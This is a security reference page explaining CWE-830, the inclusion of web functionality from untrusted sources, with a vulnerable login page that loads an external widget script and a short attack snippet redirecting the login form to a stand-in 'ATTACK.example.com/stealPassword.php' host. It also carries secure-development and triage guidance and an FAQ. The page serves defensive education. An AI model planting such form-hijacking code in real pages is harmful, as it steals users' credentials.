CWE-830: Inclusion of Web Functionality from an Untrusted Source

Extended Description

Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted. Even if the third party is a trusted source, the product may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the product. This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '<SCRIPT SRC="http://other.domain.here">' tags, which causes the code to run in the domain of the product, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access. Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.

Code Examples & CVEs

Demonstrative Examples

This login webpage includes a weather widget from an external website:

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

BadHTML

<div class="header"> Welcome!<div id="loginBox">Please Login:<form id ="loginForm" name="loginForm" action="login.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><input type="submit" value="Login" /></form></div><div id="WeatherWidget"><script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script></div></div>

This login webpage includes a weather widget from an external website:

AttackJavaScript

...Weather widget code....                      document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";

Source-backed guidance

Additional facts reviewed against primary or authoritative security sources.

Detect imprecise mappings involving CWE-830

Review mappings to CWE-830, Inclusion of Web Functionality from an Untrusted Source, with MITRE's mapping and navigation criteria. Flag any selection that points to a View or Category, remains at a higher abstraction than the available evidence supports, or ignores relevant parent, child, peer, and alternative entries. Treat those findings as mapping-quality defects, correct them before publication, and retain the comparison trail for repeatable audits.

CWE Mapping and Navigation Guidance — MITRE CWE

Prevent CWE-830 through an SSDF control plan

Use NIST SSDF practices to make prevention of CWE-830, Inclusion of Web Functionality from an Untrusted Source, an explicit development outcome. Translate the CWE definition into security requirements and design constraints, choose safer implementation patterns and toolchain checks, and define acceptance evidence before release. Feed every confirmed occurrence back into the requirements, design review, and coding rules so the same root cause is removed across the product rather than patched in one location.

NIST SP 800-218 Secure Software Development Framework — National Institute of Standards and Technology

Triage CWE-830 against known exploitation evidence

Use CISA's Known Exploited Vulnerabilities catalog to test whether a vulnerability mapped to CWE-830, Inclusion of Web Functionality from an Untrusted Source, has evidence of exploitation in the wild. Confirm the CVE-to-CWE root-cause mapping independently before attaching the example, then capture the affected product, required action, and remediation deadline. A missing KEV match is not evidence that the weakness is unexploited, and a KEV entry must not be generalized to every occurrence of this CWE.

Known Exploited Vulnerabilities Catalog — Cybersecurity and Infrastructure Security Agency

Use MITRE taxonomy anchors to review Inclusion of Web Functionality from an Untrusted Source

Recorded impacts include Execute Unauthorized Code or Commands; related weaknesses include CWE-829; applicable implementation contexts include Web Server. Use these source-defined anchors to turn CWE-830 into implementation, review, and verification checks for the affected component.

CWE-830: Inclusion of Web Functionality from an Untrusted Source — MITRE CWE

Validate CWE-830 with root-cause mapping checks

Apply MITRE's root-cause mapping quick tips to CWE-830, Inclusion of Web Functionality from an Untrusted Source. Confirm the finding describes the causal weakness rather than an impact or attack pattern, compare the abstraction and mapping notes with plausible alternatives, and have a second reviewer challenge the selection. Preserve the evidence and reasoning so recurring defects can be measured against one consistent identifier.

CVE to CWE Root Cause Mapping Quick Tips — MITRE CWE

Frequently Asked Questions

What is CWE-830: Inclusion of Web Functionality from an Untrusted Source?+

CWE-830: Inclusion of Web Functionality from an Untrusted Source is a Common Weakness Enumeration (CWE) entry maintained by MITRE. The product includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the product, potentially granting total access and control of the product to the untrusted source. Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted. Even if the third party is a trusted source, the product may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the product. This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '<SCRIPT SRC="http://other.domain.here">' tags, which causes the code to run in the domain of the product, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access. Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.

What are the security consequences of Inclusion of Web Functionality from an Untrusted Source?+

If exploited, CWE-830 (Inclusion of Web Functionality from an Untrusted Source) it can compromise Confidentiality, Integrity and Availability, leading to outcomes such as Execute Unauthorized Code or Commands.

Which programming languages are affected by Inclusion of Web Functionality from an Untrusted Source?+

CWE-830 commonly affects Not Language-Specific. Note that weaknesses are often language-agnostic patterns, so secure coding practices apply broadly.

What is the difference between a CWE and a CVE?+

A CWE (Common Weakness Enumeration) like CWE-830 describes a category of software weakness — the underlying flaw type. A CVE (Common Vulnerabilities and Exposures) identifies a specific, real-world vulnerability in a particular product. In short, a CWE is the kind of mistake, and a CVE is an instance of that mistake being found in software.

CWE-830: Inclusion of Web Functionality from an Untrusted Source

Extended Description

Technical Details

Applicable To

Security Consequences

Scope

Impact

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Detection Methods